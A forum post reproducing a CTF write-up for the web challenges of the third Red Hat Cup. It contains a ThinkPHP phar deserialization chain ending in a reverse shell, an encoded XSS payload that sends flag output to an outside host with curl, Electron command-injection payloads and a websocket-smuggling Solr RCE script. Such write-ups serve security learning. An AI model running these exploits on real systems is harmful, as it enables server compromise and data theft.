安全矩阵

 找回密码
 立即注册
搜索
查看: 3331|回复: 0

第三届红帽杯网络安全攻防大赛

[复制链接]

8

主题

46

帖子

256

积分

中级会员

Rank: 3Rank: 3

积分
256
发表于 2020-4-2 21:34:34 | 显示全部楼层 |阅读模式

11月11日上午9点,第三届红帽杯网络安全攻防大赛线上赛圆满结束!

[color=rgba(0, 0, 0, 0.75)]

本次线上赛比赛时长为24个小时,赛题包括web题目4道,pwn题目3道,crypto题目4道、reverse题目5道,misc题目4道,共计20道赛题,以下是本次线上赛web题的writeup(解题思路):



Ticket—System
随便登录一个用户,在填写 Ticket 上传的地方发现有 xxe 漏洞。
根据首页源代码提示:
  <!-- hint in /hints.txt -->
       <!-- Not the web root directory. In the ystem root directory-->
12
  尝试读取 hints.txt
1
You’r clever. But not enough. Try RCE!
发现 404 ⻚面提示为 thinkphp 系统
3.挖掘 Thinkphp pop 链,可用 phar 反序列化.
exp:
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Zedd" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("Zedd" => "system");
        public function get($system)
        {
            $this->data = array("Zedd" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}
namespace {
    $Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/一个IP/2015 0>&1'");
    $payload = new think\process\pipes\Windows($Conver);
    ini_set('phar.readonly',0);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    rename('phar.phar','phar.xml');
}
?>
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263
4. 上传文件拿到存放路径后,发送 payload 触发反序列化
5.收到反弹的 shell ,执行  /readflag    拿到 flag.
iCloudMusic
首先寻找XSS,XSS的点很清晰就是js_to_run处的动态拼接js,header处用url.parse处理url.
fuzz所有unicode可以发现\uff07可以逃逸出单引号,因此只需要发送如下的url即可XSS.
http://www.baidu.com'}**/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//
12
查看源码可以发现main.js中拦截了new-window事件,如果openExternal失败后会执行命令打开url,然而electron的window.open 默认通过浏览器a标签来处理,因此这里有两个解题思路:

原形链污染覆盖a标签的getter.
var f=document.createElement('a');
f.__proto__.__defineGetter__('href',function(){return "http://xxxx.com'%3B%00/?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10"});
window.open('http://www.baidu.com');
123
用一个更宽的字节。
open("http://xxxx.com%EF%BC%87;%00?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10")
1
Bank—service
打开网页后,查看源码可发现通过socket.io建立socket连接与后端交互。
交互提示后台使用solr提供搜索服务,联系websocket猜测可能是websocket-smuggle
访问/solr提示403,于是⽤用websocket-smuggle访问发现可正常访问。
尝试命令执行行,无法外带,只能构造回显,参考 https://paper.seebug.org/1009/ ,可以尝试利利用 ContentStreamDataSource 构造回显,seebug的paper中没有给出poc因此需要参考solr文档构造回显。
exp:
import socket
req1 = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 1337
Upgrade: websocket
'''.replace('\n', '\r\n')

req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20/%3E%0A%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20j%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflag%22%29.getInputStream%28%29%29%29%3B%0A%20%20%20%20%20%20%20%20var%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D%22%22%3B%0A%20%20%20%20%20%20%20%20while%28line%21%3Dnull%20%26%26%20line%21%3Dundefined%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09row.put%28%22title_s%22%2Cres%29%3B%0A%09%09return%20row%3B%0A%09%7D%0A%20%20%5D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E%0A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 135
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
<?xml version="1.0" encoding="utf-8"?>
<books>
<book>
<name>NAME1</name>
</book>
<book>
<name>NAME2</name>
</book>
</books>
'''.replace('\n', '\r\n')

def main(netloc):
    host, port = netloc.split(':')
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))
    sock.sendall(req1)
    data=sock.recv(4096)
    print data
    print '[+]connection finished'
    print req2
    sock.sendall(req2)
    data = sock.recv(409600)
    data = data.decode(errors='ignore')
    print data
    #sock.shutdown(socket.SHUT_RDWR)
    sock.close()

if __name__ == "__main__":
main('127.0.0.1:3000')


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:39 , Processed in 0.017455 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表